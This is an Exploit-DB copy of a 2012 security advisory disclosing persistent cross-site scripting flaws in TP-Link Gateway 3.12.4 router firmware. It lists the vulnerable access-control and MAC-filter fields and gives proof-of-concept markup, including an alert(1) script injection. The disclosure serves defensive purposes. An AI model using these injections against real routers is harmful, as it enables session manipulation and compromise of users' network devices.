Exploit-DB #19774
Description: TP-Link Gateway 3.12.4 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2012-07-12
Author: Vulnerability-Lab

Exploit:
Title:
======
TP Link Gateway v3.12.4 - Multiple Web Vulnerabilities


Date:
=====
2012-06-15


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=613


VL-ID:
=====
613


Common Vulnerability Scoring System:
====================================
2.5


Introduction:
=============
TP-LINK is a global provider of SOHO networking products and the World s No.1 provider of WLAN and Broadband 
CPE devices, with products available in over 120 countries to tens of millions customers. Committed to 
intensive R&D, efficient production and strict quality management, TP-LINK continues to provide award-winning 
networking products in Wireless, ADSL, Routers, Switches, IP Cameras, Powerline Adapters, Print Servers, Media 
Converters and Network Adapters for Global end-users.

Based on the confidence of tens of millions of customers, TP-LINK is now growing to become one of the most 
competitive providers of networking products with aspirations to become one of the top 3 networking brands in 
the world and striving for a larger global market share, while further advancing in the world of networking to 
better serve our most valued customers with products that make their lives easier.


Abstract:
=========
he Vulnerability Laboratory Research Team discovered a persistent Vulnerabilities in TP Link gateway v 3.12.4.


Report-Timeline:
================
2012-06-15:	Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple persistent web vulnerabilities is detected in TP Link Gateway v3.12.4 Router Application. 
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). 
Successful exploitation of the vulnerability can lead to stable (persistent) context manipulation. Exploitation 
requires high user inter action & a low privileged user account. 

The persistent vulnerabilities are located in the add function of multiple main modules like access control 
and the wireless mac filter. The main problem is the validation of the add module -  rule name, host description, 
target description & mac filter description. The bug affects the later listings were the persistent code get executed 
out of the application context. 

Vulnerable Module(s): 
				[+] Access Control -> Rule -> Add new
				[+] Access Control -> Host -> Add Host 
				[+] Access Control -> Target -> Add new 
				[+] Wireless -> Wireless MAC Filtering -> Add new 

Vulnerable Paramater(s): 
				[+] [Rule Name]
				[+] [Target Description]
				[+] [Host Description]
				[+] [Description]

Vulnerable Version(s):
				[+] Firmware Version: 3.12.4 Build 100910 Rel.57694n 


Proof of Concept:
=================
The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged 
user account & required user inter action. For demonstration or reproduce ...

To reproduce the vulnerability or inject malicious script code you only need to change the 
standard input field content to the your own script code tags with html or javascript.
The persistent script code get executed out of the listing application context.


Review: Wireless Mac Filter - Listing

<html><head><script language="javascript" type="text/javascript">
var wlanFilterPara = new Array(
0, 0, 0, 1, 0, 1, 5, 8, 
0,0 );
</script>
<script language="javascript" type="text/javascript">
var wlanFilterList = new Array(
"00-00-00-00-21-22", 1, 1, "", "<h1>description</h1>", 
0,0 );
</script>

URL: http://192.168.1.1/userRpm/AccessCtrlAccessTargetsRpm.htm



Review: Access Control - Add HOST Target - Listing

<html><head><script language="javascript" type="text/javascript">
var access_targets_data_param = new Array(
1, "<h1>test</h1>", "192.168.1.1/53 - 1221/UDP", "", 
0,0 );
</script>
<script language="javascript" type="text/javascript">
var access_targets_page_param = new Array(
1, 0, 1, 4, 1, 
0,0 );
</script>

... or as description

<html><head><script language="javascript" type="text/javascript">
var hosts_lists_data_param = new Array(
1, "<h1>Description</h1>", "192.168.1.115", "192.168.1.126", "", 
1, "<script>alert(1)</script", "192.168.1.11", "192.168.1.126", "", 
0,0 );
</script>
<script language="javascript" type="text/javascript">
var hosts_lists_page_param = new Array(
1, 0, 2, 5, 2, 
0,0 );
</script>

URL: http://192.168.1.1/userRpM/AccessCtrlHostsListsRpm.htm


Risk:
=====
The security risk of the persistent input validation vulnerabilities is estiamted as medium(-).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Ibrahim El-Sayed [the StOrM) (storm@vulnerability-lab.com)



Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. 

Domains:	www.vulnerability-lab.com   	- www.vuln-lab.com
Contact:	admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	- research@vulnerability-lab.com
Section:	video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		- news.vulnerability-lab.com
Social:		twitter.com/#!/vuln_lab 	- facebook.com/VulnerabilityLab 	- youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, o